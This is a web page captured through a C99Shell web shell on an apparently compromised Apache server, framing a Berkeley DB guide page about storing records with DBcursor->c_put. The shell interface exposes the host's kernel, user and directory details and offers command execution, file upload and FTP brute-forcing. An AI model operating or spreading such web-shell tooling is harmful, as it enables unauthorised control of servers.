!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/share/doc/db4-devel-4.3.27/ref/am/   drwxr-xr-x
Free 3.44 GB of 27.03 GB (12.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     curput.html (4.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Berkeley DB Reference Guide: Storing records with a cursor

Berkeley DB Reference Guide:
Access Methods

PrevRefNext

Storing records with a cursor

The DBcursor->c_put method stores records into the database using a cursor. In general, DBcursor->c_put takes a key and inserts the associated data into the database, at a location controlled by a specified flag.

There are several flags that you can set to customize storage:

DB_AFTER
Create a new record, immediately after the record to which the cursor refers.
DB_BEFORE
Create a new record, immediately before the record to which the cursor refers.
DB_CURRENT
Replace the data part of the record to which the cursor refers.
DB_KEYFIRST
Create a new record as the first of the duplicate records for the supplied key.
DB_KEYLAST
Create a new record, as the last of the duplicate records for the supplied key.

In all cases, the cursor is repositioned by a DBcursor->c_put operation to point to the newly inserted key/data pair in the database.

The following is a code example showing a cursor storing two data items in a database that supports duplicate data items:

int
store(dbp)
	DB *dbp;
{
	DBC *dbcp;
	DBT key, data;
	int ret;

/* * The DB handle for a Btree database supporting duplicate data * items is the argument; acquire a cursor for the database. */ if ((ret = dbp->cursor(dbp, NULL, &dbcp, 0)) != 0) { dbp->err(dbp, ret, "DB->cursor"); goto err; }

/* Initialize the key. */ memset(&key, 0, sizeof(key)); key.data = "new key"; key.size = strlen(key.data) + 1;

/* Initialize the data to be the first of two duplicate records. */ memset(&data, 0, sizeof(data)); data.data = "new key's data: entry #1"; data.size = strlen(data.data) + 1;

/* Store the first of the two duplicate records. */ if ((ret = dbcp->c_put(dbcp, &key, &data, DB_KEYFIRST)) != 0) dbp->err(dbp, ret, "DB->cursor");

/* Initialize the data to be the second of two duplicate records. */ data.data = "new key's data: entry #2"; data.size = strlen(data.data) + 1;

/* * Store the second of the two duplicate records. No duplicate * record sort function has been specified, so we explicitly * store the record as the last of the duplicate set. */ if ((ret = dbcp->c_put(dbcp, &key, &data, DB_KEYLAST)) != 0) dbp->err(dbp, ret, "DB->cursor");

err: if ((ret = dbcp->c_close(dbcp)) != 0) dbp->err(dbp, ret, "DBcursor->close");

return (0); }


PrevRefNext

Copyright (c) 1996-2004 Sleepycat Software, Inc. - All rights reserved.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0039 ]--